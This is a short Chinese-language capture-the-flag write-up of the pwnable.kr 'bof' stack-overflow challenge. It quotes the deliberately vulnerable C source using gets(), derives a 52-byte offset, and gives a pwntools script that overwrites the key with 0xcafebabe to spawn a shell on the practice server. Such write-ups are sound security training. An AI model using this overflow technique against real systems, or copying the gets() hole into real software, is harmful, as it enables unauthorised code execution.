pwnable從入門到放棄,第三題。
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
很簡單的一道棧溢出題目。
依然先讀代碼:
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
在gets處有一個明顯的棧溢出,溢出了overflowme變量。
目的是覆蓋key變量,導致在if判斷時,獲得執行bash的權限。
用ida看看棧分配的結構吧
看到數組overflowme的起始地址在ebp+s(-2c),key參數的其實地址在ebp+arg0(+8),中間就差了44+8 = 52個字節。
因此使用52個‘A’覆蓋之后再加上4字節的0xcafebabe,就可以了。
再次膜拜一發pwntools。
# -*- coding:utf-8 -*- import pwn r = pwn.remote('pwnable.kr',9000) r.send('a'*52+pwn.p32(0xcafebabe)) r.interactive()
之后就可以獲得一個shell了。
ps:話說明天開始要做項目了 = =緊臟。